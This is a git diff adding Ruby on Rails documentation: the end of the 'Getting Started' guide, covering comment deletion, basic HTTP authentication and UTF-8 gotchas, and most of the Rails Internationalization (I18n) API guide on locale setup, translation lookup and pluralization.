+      params.require(:comment).permit(:commenter, :body)
+    end
+end
+```
+
+The `destroy` action will find the article we are looking at, locate the comment
+within the `@article.comments` collection, and then remove it from the
+database and send us back to the show action for the article.
+
+
+### Deleting Associated Objects
+
+If you delete an article, its associated comments will also need to be
+deleted, otherwise they would simply occupy space in the database. Rails allows
+you to use the `dependent` option of an association to achieve this. Modify the
+Article model, `app/models/article.rb`, as follows:
+
+```ruby
+class Article < ApplicationRecord
+  has_many :comments, dependent: :destroy
+  validates :title, presence: true,
+                    length: { minimum: 5 }
+end
+```
+
+Security
+--------
+
+### Basic Authentication
+
+If you were to publish your blog online, anyone would be able to add, edit and
+delete articles or delete comments.
+
+Rails provides a very simple HTTP authentication system that will work nicely in
+this situation.
+
+In the `ArticlesController` we need to have a way to block access to the
+various actions if the person is not authenticated. Here we can use the Rails
+`http_basic_authenticate_with` method, which allows access to the requested
+action if that method allows it.
+
+To use the authentication system, we specify it at the top of our
+`ArticlesController` in `app/controllers/articles_controller.rb`. In our case,
+we want the user to be authenticated on every action except `index` and `show`,
+so we write that:
+
+```ruby
+class ArticlesController < ApplicationController
+
+  http_basic_authenticate_with name: "dhh", password: "secret", except: [:index, :show]
+
+  def index
+    @articles = Article.all
+  end
+
+  # snippet for brevity
+```
+
+We also want to allow only authenticated users to delete comments, so in the
+`CommentsController` (`app/controllers/comments_controller.rb`) we write:
+
+```ruby
+class CommentsController < ApplicationController
+
+  http_basic_authenticate_with name: "dhh", password: "secret", only: :destroy
+
+  def create
+    @article = Article.find(params[:article_id])
+    # ...
+  end
+
+  # snippet for brevity
+```
+
+Now if you try to create a new article, you will be greeted with a basic HTTP
+Authentication challenge:
+
+![Basic HTTP Authentication Challenge](images/getting_started/challenge.png)
+
+Other authentication methods are available for Rails applications. Two popular
+authentication add-ons for Rails are the
+[Devise](https://github.com/plataformatec/devise) rails engine and
+the [Authlogic](https://github.com/binarylogic/authlogic) gem,
+along with a number of others.
+
+
+### Other Security Considerations
+
+Security, especially in web applications, is a broad and detailed area. Security
+in your Rails application is covered in more depth in
+the [Ruby on Rails Security Guide](security.html).
+
+
+What's Next?
+------------
+
+Now that you've seen your first Rails application, you should feel free to
+update it and experiment on your own.
+
+Remember you don't have to do everything without help. As you need assistance
+getting up and running with Rails, feel free to consult these support
+resources:
+
+* The [Ruby on Rails Guides](index.html)
+* The [Ruby on Rails Tutorial](http://railstutorial.org/book)
+* The [Ruby on Rails mailing list](http://groups.google.com/group/rubyonrails-talk)
+* The [#rubyonrails](irc://irc.freenode.net/#rubyonrails) channel on irc.freenode.net
+
+
+Configuration Gotchas
+---------------------
+
+The easiest way to work with Rails is to store all external data as UTF-8. If
+you don't, Ruby libraries and Rails will often be able to convert your native
+data into UTF-8, but this doesn't always work reliably, so you're better off
+ensuring that all external data is UTF-8.
+
+If you have made a mistake in this area, the most common symptom is a black
+diamond with a question mark inside appearing in the browser. Another common
+symptom is characters like "ü" appearing instead of "ü". Rails takes a number
+of internal steps to mitigate common causes of these problems that can be
+automatically detected and corrected. However, if you have external data that is
+not stored as UTF-8, it can occasionally result in these kinds of issues that
+cannot be automatically detected by Rails and corrected.
+
+Two very common sources of data that are not UTF-8:
+
+* Your text editor: Most text editors (such as TextMate), default to saving
+  files as UTF-8. If your text editor does not, this can result in special
+  characters that you enter in your templates (such as é) to appear as a diamond
+  with a question mark inside in the browser. This also applies to your i18n
+  translation files. Most editors that do not already default to UTF-8 (such as
+  some versions of Dreamweaver) offer a way to change the default to UTF-8. Do
+  so.
+* Your database: Rails defaults to converting data from your database into UTF-8
+  at the boundary. However, if your database is not using UTF-8 internally, it
+  may not be able to store all characters that your users enter. For instance,
+  if your database is using Latin-1 internally, and your user enters a Russian,
+  Hebrew, or Japanese character, the data will be lost forever once it enters
+  the database. If possible, use UTF-8 as the internal storage of your database.
diff --git a/guides/source/i18n.md b/guides/source/i18n.md
new file mode 100644
index 0000000000..aa2b7d1ba9
--- /dev/null
+++ b/guides/source/i18n.md
@@ -0,0 +1,1208 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Rails Internationalization (I18n) API
+=====================================
+
+The Ruby I18n (shorthand for _internationalization_) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for **translating your application to a single custom language** other than English or for **providing multi-language support** in your application.
+
+The process of "internationalization" usually means to abstract all strings and other locale specific bits (such as date or currency formats) out of your application. The process of "localization" means to provide translations and localized formats for these bits.[^1]
+
+So, in the process of _internationalizing_ your Rails application you have to:
+
+* Ensure you have support for i18n.
+* Tell Rails where to find locale dictionaries.
+* Tell Rails how to set, preserve and switch locales.
+
+In the process of _localizing_ your application you'll probably want to do the following three things:
+
+* Replace or supplement Rails' default locale - e.g. date and time formats, month names, Active Record model names, etc.
+* Abstract strings in your application into keyed dictionaries - e.g. flash messages, static text in your views, etc.
+* Store the resulting dictionaries somewhere.
+
+This guide will walk you through the I18n API and contains a tutorial on how to internationalize a Rails application from the start.
+
+After reading this guide, you will know:
+
+* How I18n works in Ruby on Rails
+* How to correctly use I18n into a RESTful application in various ways
+* How to use I18n to translate Active Record errors or Action Mailer E-mail subjects
+* Some other tools to go further with the translation process of your application
+
+--------------------------------------------------------------------------------
+
+NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, also use various gems available to add additional functionality or features. See the [rails-i18n gem](https://github.com/svenfuchs/rails-i18n) for more information.
+
+How I18n in Ruby on Rails Works
+-------------------------------
+
+Internationalization is a complex problem. Natural languages differ in so many ways (e.g. in pluralization rules) that it is hard to provide tools for solving all problems at once. For that reason the Rails I18n API focuses on:
+
+* providing support for English and similar languages out of the box
+* making it easy to customize and extend everything for other languages
+
+As part of this solution, **every static string in the Rails framework** - e.g. Active Record validation messages, time and date formats - **has been internationalized**. _Localization_ of a Rails application means defining translated values for these strings in desired languages.
+
+### The Overall Architecture of the Library
+
+Thus, the Ruby I18n gem is split into two parts:
+
+* The public API of the i18n framework - a Ruby module with public methods that define how the library works
+* A default backend (which is intentionally named _Simple_ backend) that implements these methods
+
+As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend.
+
+NOTE: It is possible to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section [Using different backends](#using-different-backends) below.
+
+### The Public I18n API
+
+The most important methods of the I18n API are:
+
+```ruby
+translate # Lookup text translations
+localize  # Localize Date and Time objects to local formats
+```
+
+These have the aliases #t and #l so you can use them like this:
+
+```ruby
+I18n.t 'store.title'
+I18n.l Time.now
+```
+
+There are also attribute readers and writers for the following attributes:
+
+```ruby
+load_path                 # Announce your custom translation files
+locale                    # Get and set the current locale
+default_locale            # Get and set the default locale
+available_locales         # Whitelist locales available for the application
+enforce_available_locales # Enforce locale whitelisting (true or false)
+exception_handler         # Use a different exception_handler
+backend                   # Use a different backend
+```
+
+So, let's internationalize a simple Rails application from the ground up in the next chapters!
+
+Setup the Rails Application for Internationalization
+----------------------------------------------------
+
+There are a few steps to get up and running with I18n support for a Rails application.
+
+### Configure the I18n Module
+
+Following the _convention over configuration_ philosophy, Rails I18n provides reasonable default translation strings. When different translation strings are needed, they can be overridden.
+
+Rails adds all `.rb` and `.yml` files from the `config/locales` directory to the **translations load path**, automatically.
+
+The default `en.yml` locale in this directory contains a sample pair of translation strings:
+
+```yaml
+en:
+  hello: "Hello world"
+```
+
+This means, that in the `:en` locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Model validation messages in the [`activemodel/lib/active_model/locale/en.yml`](https://github.com/rails/rails/blob/master/activemodel/lib/active_model/locale/en.yml) file or time and date formats in the [`activesupport/lib/active_support/locale/en.yml`](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml) file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend.
+
+The I18n library will use **English** as a **default locale**, i.e. if a different locale is not set, `:en` will be used for looking up translations.
+
+NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en)), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th` or `:es` (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:en-GB` dictionary. Few gems such as [Globalize3](https://github.com/globalize/globalize) may help you implement it.
+
+The **translations load path** (`I18n.load_path`) is an array of paths to files that will be loaded automatically. Configuring this path allows for customization of translations directory structure and file naming scheme.
+
+NOTE: The backend lazy-loads these translations when a translation is looked up for the first time. This backend can be swapped with something else even after translations have already been announced.
+
+You can change the default locale as well as configure the translations load paths in `config/application.rb` as follows:
+
+```ruby
+  config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
+  config.i18n.default_locale = :de
+```
+
+The load path must be specified before any translations are looked up. To change the default locale from an initializer instead of `config/application.rb`:
+
+```ruby
+# config/initializers/locale.rb
+
+# Where the I18n library should search for translation files
+I18n.load_path += Dir[Rails.root.join('lib', 'locale', '*.{rb,yml}')]
+
+# Whitelist locales available for the application
+I18n.available_locales = [:en, :pt]
+
+# Set default locale to something other than :en
+I18n.default_locale = :pt
+```
+
+### Managing the Locale across Requests
+
+The default locale is used for all translations unless `I18n.locale` is explicitly set.
+
+A localized application will likely need to provide support for multiple locales. To accomplish this, the locale should be set at the beginning of each request so that all strings are translated using the desired locale during the lifetime of that request.
+
+The locale can be set in a `before_action` in the `ApplicationController`:
+
+```ruby
+before_action :set_locale
+
+def set_locale
+  I18n.locale = params[:locale] || I18n.default_locale
+end
+```
+
+This example illustrates this using a URL query parameter to set the locale (e.g. `http://example.com/books?locale=pt`). With this approach, `http://localhost:3000?locale=pt` renders the Portuguese localization, while `http://localhost:3000?locale=de` loads a German localization.
+
+The locale can be set using one of many different approaches.
+
+#### Setting the Locale from the Domain Name
+
+One option you have is to set the locale from the domain name where your application runs. For example, we want `www.example.com` to load the English (or default) locale, and `www.example.es` to load the Spanish locale. Thus the _top-level domain name_ is used for locale setting. This has several advantages:
+
+* The locale is an _obvious_ part of the URL.
+* People intuitively grasp in which language the content will be displayed.
+* It is very trivial to implement in Rails.
+* Search engines seem to like that content in different languages lives at different, inter-linked domains.
+
+You can implement it like this in your `ApplicationController`:
+
+```ruby
+before_action :set_locale
+
+def set_locale
+  I18n.locale = extract_locale_from_tld || I18n.default_locale
+end
+
+# Get locale from top-level domain or return +nil+ if such locale is not available
+# You have to put something like:
+#   127.0.0.1 application.com
+#   127.0.0.1 application.it
+#   127.0.0.1 application.pl
+# in your /etc/hosts file to try this out locally
+def extract_locale_from_tld
+  parsed_locale = request.host.split('.').last
+  I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil
+end
+```
+
+We can also set the locale from the _subdomain_ in a very similar way:
+
+```ruby
+# Get locale code from request subdomain (like http://it.application.local:3000)
+# You have to put something like:
+#   127.0.0.1 gr.application.local
+# in your /etc/hosts file to try this out locally
+def extract_locale_from_subdomain
+  parsed_locale = request.subdomains.first
+  I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil
+end
+```
+
+If your application includes a locale switching menu, you would then have something like this in it:
+
+```ruby
+link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request.env['PATH_INFO']}")
+```
+
+assuming you would set `APP_CONFIG[:deutsch_website_url]` to some value like `http://www.application.de`.
+
+This solution has aforementioned advantages, however, you may not be able or may not want to provide different localizations ("language versions") on different domains. The most obvious solution would be to include locale code in the URL params (or request path).
+
+#### Setting the Locale from URL Params
+
+The most usual way of setting (and passing) the locale would be to include it in URL params, as we did in the `I18n.locale = params[:locale]` _before_action_ in the first example. We would like to have URLs like `www.example.com/books?locale=ja` or `www.example.com/ja/books` in this case.
+
+This approach has almost the same set of advantages as setting the locale from the domain name: namely that it's RESTful and in accord with the rest of the World Wide Web. It does require a little bit more work to implement, though.
+
+Getting the locale from `params` and setting it accordingly is not hard; including it in every URL and thus **passing it through the requests** is. To include an explicit option in every URL, e.g. `link_to(books_url(locale: I18n.locale))`, would be tedious and probably impossible, of course.
+
+Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its [`ApplicationController#default_url_options`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Base.html#method-i-default_url_options), which is useful precisely in this scenario: it enables us to set "defaults" for [`url_for`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/UrlFor.html#method-i-url_for) and helper methods dependent on it (by implementing/overriding `default_url_options`).
+
+We can include something like this in our `ApplicationController` then:
+
+```ruby
+# app/controllers/application_controller.rb
+def default_url_options
+  { locale: I18n.locale }
+end
+```
+
+Every helper method dependent on `url_for` (e.g. helpers for named routes like `root_path` or `root_url`, resource routes like `books_path` or `books_url`, etc.) will now **automatically include the locale in the query string**, like this: `http://localhost:3001/?locale=ja`.
+
+You may be satisfied with this. It does impact the readability of URLs, though, when the locale "hangs" at the end of every URL in your application. Moreover, from the architectural standpoint, locale is usually hierarchically above the other parts of the application domain: and URLs should reflect this.
+
+You probably want URLs to look like this: `http://www.example.com/en/books` (which loads the English locale) and `http://www.example.com/nl/books` (which loads the Dutch locale). This is achievable with the "over-riding `default_url_options`" strategy from above: you just have to set up your routes with [`scope`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html):
+
+```ruby
+# config/routes.rb
+scope "/:locale" do
+  resources :books
+end
+```
+
+Now, when you call the `books_path` method you should get `"/en/books"` (for the default locale). A URL like `http://localhost:3001/nl/books` should load the Dutch locale, then, and following calls to `books_path` should return `"/nl/books"` (because the locale changed).
+
+WARNING. Since the return value of `default_url_options` is cached per request, the URLs in a locale selector cannot be generated invoking helpers in a loop that sets the corresponding `I18n.locale` in each iteration. Instead, leave `I18n.locale` untouched, and pass an explicit `:locale` option to the helper, or edit `request.original_fullpath`.
+
+If you don't want to force the use of a locale in your routes you can use an optional path scope (denoted by the parentheses) like so:
+
+```ruby
+# config/routes.rb
+scope "(:locale)", locale: /en|nl/ do
+  resources :books
+end
+```
+
+With this approach you will not get a `Routing Error` when accessing your resources such as `http://localhost:3001/books` without a locale. This is useful for when you want to use the default locale when one is not specified.
+
+Of course, you need to take special care of the root URL (usually "homepage" or "dashboard") of your application. A URL like `http://localhost:3001/nl` will not work automatically, because the `root to: "books#index"` declaration in your `routes.rb` doesn't take locale into account. (And rightly so: there's only one "root" URL.)
+
+You would probably need to map URLs like these:
+
+```ruby
+# config/routes.rb
+get '/:locale' => 'dashboard#index'
+```
+
+Do take special care about the **order of your routes**, so this route declaration does not "eat" other ones. (You may want to add it directly before the `root :to` declaration.)
+
+NOTE: Have a look at various gems which simplify working with routes: [routing_filter](https://github.com/svenfuchs/routing-filter/tree/master), [rails-translate-routes](https://github.com/francesc/rails-translate-routes), [route_translator](https://github.com/enriclluelles/route_translator).
+
+#### Setting the Locale from User Preferences
+
+An application with authenticated users may allow users to set a locale preference through the application's interface. With this approach, a user's selected locale preference is persisted in the database and used to set the locale for authenticated requests by that user.
+
+```ruby
+def set_locale
+  I18n.locale = current_user.try(:locale) || I18n.default_locale
+end
+```
+
+#### Choosing an Implied Locale
+
+When an explicit locale has not been set for a request (e.g. via one of the above methods), an application should attempt to infer the desired locale.
+
+##### Inferring Locale from the Language Header
+
+The `Accept-Language` HTTP header indicates the preferred language for request's response. Browsers [set this header value based on the user's language preference settings](http://www.w3.org/International/questions/qa-lang-priorities), making it a good first choice when inferring a locale.
+
+A trivial implementation of using an `Accept-Language` header would be:
+
+```ruby
+def set_locale
+  logger.debug "* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}"
+  I18n.locale = extract_locale_from_accept_language_header
+  logger.debug "* Locale set to '#{I18n.locale}'"
+end
+
+private
+  def extract_locale_from_accept_language_header
+    request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first
+  end
+```
+
+
+In practice, more robust code is necessary to do this reliably. Iain Hecker's [http_accept_language](https://github.com/iain/http_accept_language/tree/master) library or Ryan Tomayko's [locale](https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb) Rack middleware provide solutions to this problem.
+
+##### Inferring the Locale from IP Geolocation
+
+The IP address of the client making the request can be used to infer the client's region and thus their locale. Services such as [GeoIP Lite Country](http://www.maxmind.com/app/geolitecountry) or gems like [geocoder](https://github.com/alexreisner/geocoder) can be used to implement this approach.
+
+In general, this approach is far less reliable than using the language header and is not recommended for most web applications.
+
+#### Storing the Locale from the Session or Cookies
+
+WARNING: You may be tempted to store the chosen locale in a _session_ or a *cookie*. However, **do not do this**. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being [*RESTful*](http://en.wikipedia.org/wiki/Representational_State_Transfer). Read more about the RESTful approach in [Stefan Tilkov's articles](http://www.infoq.com/articles/rest-introduction). Sometimes there are exceptions to this rule and those are discussed below.
+
+Internationalization and Localization
+-----------------------------------
+
+OK! Now you've initialized I18n support for your Ruby on Rails application and told it which locale to use and how to preserve it between requests.
+
+Next we need to _internationalize_ our application by abstracting every locale-specific element. Finally, we need to _localize_ it by providing necessary translations for these abstracts.
+
+Given the following example:
+
+```ruby
+# config/routes.rb
+Rails.application.routes.draw do
+  root to: "home#index"
+end
+```
+
+```ruby
+# app/controllers/application_controller.rb
+class ApplicationController < ActionController::Base
+  before_action :set_locale
+
+  def set_locale
+    I18n.locale = params[:locale] || I18n.default_locale
+  end
+end
+```
+
+```ruby
+# app/controllers/home_controller.rb
+class HomeController < ApplicationController
+  def index
+    flash[:notice] = "Hello Flash"
+  end
+end
+```
+
+```html+erb
+# app/views/home/index.html.erb
+<h1>Hello World</h1>
+<p><%= flash[:notice] %></p>
+```
+
+![rails i18n demo untranslated](images/i18n/demo_untranslated.png)
+
+### Abstracting Localized Code
+
+There are two strings in our code that are in English and that users will be rendered in our response ("Hello Flash" and "Hello World"). In order to internationalize this code, these strings need to be replaced by calls to Rails' `#t` helper with an appropriate key for each string:
+
+```ruby
+# app/controllers/home_controller.rb
+class HomeController < ApplicationController
+  def index
+    flash[:notice] = t(:hello_flash)
+  end
+end
+```
+
+```html+erb
+# app/views/home/index.html.erb
+<h1><%=t :hello_world %></h1>
+<p><%= flash[:notice] %></p>
+```
+
+Now, when this view is rendered, it will show an error message which tells you that the translations for the keys `:hello_world` and `:hello_flash` are missing.
+
+![rails i18n demo translation missing](images/i18n/demo_translation_missing.png)
+
+NOTE: Rails adds a `t` (`translate`) helper method to your views so that you do not need to spell out `I18n.t` all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a `<span class="translation_missing">`.
+
+### Providing Translations for Internationalized Strings
+
+Add the missing translations into the translation dictionary files:
+
+```yaml
+# config/locales/en.yml
+en:
+  hello_world: Hello world!
+  hello_flash: Hello flash!
+
+# config/locales/pirate.yml
+pirate:
+  hello_world: Ahoy World
+  hello_flash: Ahoy Flash
+```
+
+Because the `default_locale` hasn't changed, translations use the `:en` locale and the response renders the english strings:
+
+![rails i18n demo translated to English](images/i18n/demo_translated_en.png)
+
+If the locale is set via the URL to the pirate locale (`http://localhost:3000?locale=pirate`), the response renders the pirate strings:
+
+![rails i18n demo translated to pirate](images/i18n/demo_translated_pirate.png)
+
+NOTE: You need to restart the server when you add new locale files.
+
+You may use YAML (`.yml`) or plain Ruby (`.rb`) files for storing your translations in SimpleStore. YAML is the preferred option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into a Ruby file.)
+
+If your translations are stored in YAML files, certain keys must be escaped. They are:
+
+* true, on, yes
+* false, off, no
+
+Examples:
+
+```erb
+# config/locales/en.yml
+en:
+  success:
+    'true':  'True!'
+    'on':    'On!'
+    'false': 'False!'
+  failure:
+    true:    'True!'
+    off:     'Off!'
+    false:   'False!'
+```
+
+```ruby
+I18n.t 'success.true' # => 'True!'
+I18n.t 'success.on' # => 'On!'
+I18n.t 'success.false' # => 'False!'
+I18n.t 'failure.false' # => Translation Missing
+I18n.t 'failure.off' # => Translation Missing
+I18n.t 'failure.true' # => Translation Missing
+```
+
+### Passing Variables to Translations
+
+One key consideration for successfully internationalizing an application is to
+avoid making incorrect assumptions about grammar rules when abstracting localized
+code. Grammar rules that seem fundamental in one locale may not hold true in
+another one.
+
+Improper abstraction is shown in the following example, where assumptions are
+made about the ordering of the different parts of the translation. Note that Rails
+provides a `number_to_currency` helper to handle the following case.
+
+```erb
+# app/views/products/show.html.erb
+<%= "#{t('currency')}#{@product.price}" %>
+```
+
+```yaml
+# config/locales/en.yml
+en:
+  currency: "$"
+
+# config/locales/es.yml
+es:
+  currency: "€"
+```
+
+If the product's price is 10 then the proper translation for Spanish is "10 €"
+instead of "€10" but the abstraction cannot give it.
+
+To create proper abstraction, the I18n gem ships with a feature called variable
+interpolation that allows you to use variables in translation definitions and
+pass the values for these variables to the translation method.
+
+Proper abstraction is shown in the following example:
+
+```erb
+# app/views/products/show.html.erb
+<%= t('product_price', price: @product.price) %>
+```
+
+```yaml
+# config/locales/en.yml
+en:
+  product_price: "$%{price}"
+
+# config/locales/es.yml
+es:
+  product_price: "%{price} €"
+```
+
+All grammatical and punctuation decisions are made in the definition itself, so
+the abstraction can give a proper translation.
+
+NOTE: The `default` and `scope` keywords are reserved and can't be used as
+variable names. If used, an `I18n::ReservedInterpolationKey` exception is raised.
+If a translation expects an interpolation variable, but this has not been passed
+to `#translate`, an `I18n::MissingInterpolationArgument` exception is raised.
+
+### Adding Date/Time Formats
+
+OK! Now let's add a timestamp to the view, so we can demo the **date/time localization** feature as well. To localize the time format you pass the Time object to `I18n.l` or (preferably) use Rails' `#l` helper. You can pick a format by passing the `:format` option - by default the `:default` format is used.
+
+```erb
+# app/views/home/index.html.erb
+<h1><%=t :hello_world %></h1>
+<p><%= flash[:notice] %></p>
+<p><%= l Time.now, format: :short %></p>
+```
+
+And in our pirate translations file let's add a time format (it's already there in Rails' defaults for English):
+
+```yaml
+# config/locales/pirate.yml
+pirate:
+  time:
+    formats:
+      short: "arrrround %H'ish"
+```
+
+So that would give you:
+
+![rails i18n demo localized time to pirate](images/i18n/demo_localized_pirate.png)
+
+TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by **translating Rails' defaults for your locale**. See the [rails-i18n repository at GitHub](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for an archive of various locale files. When you put such file(s) in `config/locales/` directory, they will automatically be ready for use.
+
+### Inflection Rules For Other Locales
+
+Rails allows you to define inflection rules (such as rules for singularization and pluralization) for locales other than English. In `config/initializers/inflections.rb`, you can define these rules for multiple locales. The initializer contains a default example for specifying additional rules for English; follow that format for other locales as you see fit.
+
+### Localized Views
+
+Let's say you have a _BooksController_ in your application. Your _index_ action renders content in `app/views/books/index.html.erb` template. When you put a _localized variant_ of this template: `index.es.html.erb` in the same directory, Rails will render content in this template, when the locale is set to `:es`. When the locale is set to the default locale, the generic `index.html.erb` view will be used. (Future Rails versions may well bring this _automagic_ localization to assets in `public`, etc.)
+
+You can make use of this feature, e.g. when working with a large amount of static content, which would be clumsy to put inside YAML or Ruby dictionaries. Bear in mind, though, that any change you would like to do later to the template must be propagated to all of them.
+
+### Organization of Locale Files
+
+When you are using the default SimpleStore shipped with the i18n library,
+dictionaries are stored in plain-text files on the disk. Putting translations
+for all parts of your application in one file per locale could be hard to
+manage. You can store these files in a hierarchy which makes sense to you.
+
+For example, your `config/locales` directory could look like this:
+
+```
+|-defaults
+|---es.rb
+|---en.rb
+|-models
+|---book
+|-----es.rb
+|-----en.rb
+|-views
+|---defaults
+|-----es.rb
+|-----en.rb
+|---books
+|-----es.rb
+|-----en.rb
+|---users
+|-----es.rb
+|-----en.rb
+|---navigation
+|-----es.rb
+|-----en.rb
+```
+
+This way, you can separate model and model attribute names from text inside views, and all of this from the "defaults" (e.g. date and time formats). Other stores for the i18n library could provide different means of such separation.
+
+NOTE: The default locale loading mechanism in Rails does not load locale files in nested dictionaries, like we have here. So, for this to work, we must explicitly tell Rails to look further:
+
+```ruby
+  # config/application.rb
+  config.i18n.load_path += Dir[Rails.root.join('config', 'locales', '**', '*.{rb,yml}')]
+
+```
+
+Overview of the I18n API Features
+---------------------------------
+
+You should have a good understanding of using the i18n library now and know how
+to internationalize a basic Rails application. In the following chapters, we'll
+cover its features in more depth.
+
+These chapters will show examples using both the `I18n.translate` method as well as the [`translate` view helper method](http://api.rubyonrails.org/classes/ActionView/Helpers/TranslationHelper.html#method-i-translate) (noting the additional feature provide by the view helper method).
+
+Covered are features like these:
+
+* looking up translations
+* interpolating data into translations
+* pluralizing translations
+* using safe HTML translations (view helper method only)
+* localizing dates, numbers, currency, etc.
+
+### Looking up Translations
+
+#### Basic Lookup, Scopes and Nested Keys
+
+Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent:
+
+```ruby
+I18n.t :message
+I18n.t 'message'
+```
+
+The `translate` method also takes a `:scope` option which can contain one or more additional keys that will be used to specify a "namespace" or scope for a translation key:
+
+```ruby
+I18n.t :record_invalid, scope: [:activerecord, :errors, :messages]
+```
+
+This looks up the `:record_invalid` message in the Active Record error messages.
+
+Additionally, both the key and scopes can be specified as dot-separated keys as in:
+
+```ruby
+I18n.translate "activerecord.errors.messages.record_invalid"
+```
+
+Thus the following calls are equivalent:
+
+```ruby
+I18n.t 'activerecord.errors.messages.record_invalid'
+I18n.t 'errors.messages.record_invalid', scope: :activerecord
+I18n.t :record_invalid, scope: 'activerecord.errors.messages'
+I18n.t :record_invalid, scope: [:activerecord, :errors, :messages]
+```
+
+#### Defaults
+
+When a `:default` option is given, its value will be returned if the translation is missing:
+
+```ruby
+I18n.t :missing, default: 'Not here'
+# => 'Not here'
+```
+
+If the `:default` value is a Symbol, it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned.
+
+E.g., the following first tries to translate the key `:missing` and then the key `:also_missing.` As both do not yield a result, the string "Not here" will be returned:
+
+```ruby
+I18n.t :missing, default: [:also_missing, 'Not here']
+# => 'Not here'
+```
+
+#### Bulk and Namespace Lookup
+
+To look up multiple translations at once, an array of keys can be passed:
+
+```ruby
+I18n.t [:odd, :even], scope: 'errors.messages'
+# => ["must be odd", "must be even"]
+```
+
+Also, a key can translate to a (potentially nested) hash of grouped translations. E.g., one can receive _all_ Active Record error messages as a Hash with:
+
+```ruby
+I18n.t 'activerecord.errors.messages'
+# => {:inclusion=>"is not included in the list", :exclusion=> ... }
+```
+
+#### "Lazy" Lookup
+
+Rails implements a convenient way to look up the locale inside _views_. When you have the following dictionary:
+
+```yaml
+es:
+  books:
+    index:
+      title: "Título"
+```
+
+you can look up the `books.index.title` value **inside** `app/views/books/index.html.erb` template like this (note the dot):
+
+```erb
+<%= t '.title' %>
+```
+
+NOTE: Automatic translation scoping by partial is only available from the `translate` view helper method.
+
+"Lazy" lookup can also be used in controllers:
+
+```yaml
+en:
+  books:
+    create:
+      success: Book created!
+```
+
+This is useful for setting flash messages for instance:
+
+```ruby
+class BooksController < ApplicationController
+  def create
+    # ...
+    redirect_to books_url, notice: t('.success')
+  end
+end
+```
+
+### Pluralization
+
+In many languages — including English — there are only two forms, a singular and a plural, for
+a given string, e.g. "1 message" and "2 messages". Other languages ([Arabic](http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#ar), [Japanese](http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#ja), [Russian](http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#ru) and many more) have different grammars that have additional or fewer [plural forms](http://cldr.unicode.org/index/cldr-spec/plural-rules). Thus, the I18n API provides a flexible pluralization feature.
+
+The `:count` interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined in the
+pluralization backend. By default, only the English pluralization rules are applied.
+
+```ruby
+I18n.backend.store_translations :en, inbox: {
+  zero: 'no messages', # optional
+  one: 'one message',
+  other: '%{count} messages'
+}
+I18n.translate :inbox, count: 2
+# => '2 messages'
+
+I18n.translate :inbox, count: 1
+# => 'one message'
+
+I18n.translate :inbox, count: 0
+# => 'no messages'
+```
+
+The algorithm for pluralizations in `:en` is as simple as:
+
+```ruby
+lookup_key = :zero if count == 0 && entry.has_key?(:zero)
+lookup_key ||= count == 1 ? :one : :other
+entry[lookup_key]
+```
+
+The translation denoted as `:one` is regarded as singular, and the `:other` is used as plural. If the count is zero, and a `:zero` entry is present, then it will be used instead of `:other`.
+
+If the lookup for the key does not return a Hash suitable for pluralization, an `I18n::InvalidPluralizationData` exception is raised.
+
+#### Locale-specific rules
+
+The I18n gem provides a Pluralization backend that can be used to enable locale-specific rules. Include it
+to the Simple backend, then add the localized pluralization algorithms to translation store, as `i18n.plural.rule`.
+
+```ruby
+I18n::Backend::Simple.include(I18n::Backend::Pluralization)
+I18n.backend.store_translations :pt, i18n: { plural: { rule: lambda { |n| [0, 1].include?(n) ? :one : :other } } }
+I18n.backend.store_translations :pt, apples: { one: 'one or none', other: 'more than one' }
+
+I18n.t :apples, count: 0, locale: :pt
+# => 'one or none'
+```
+
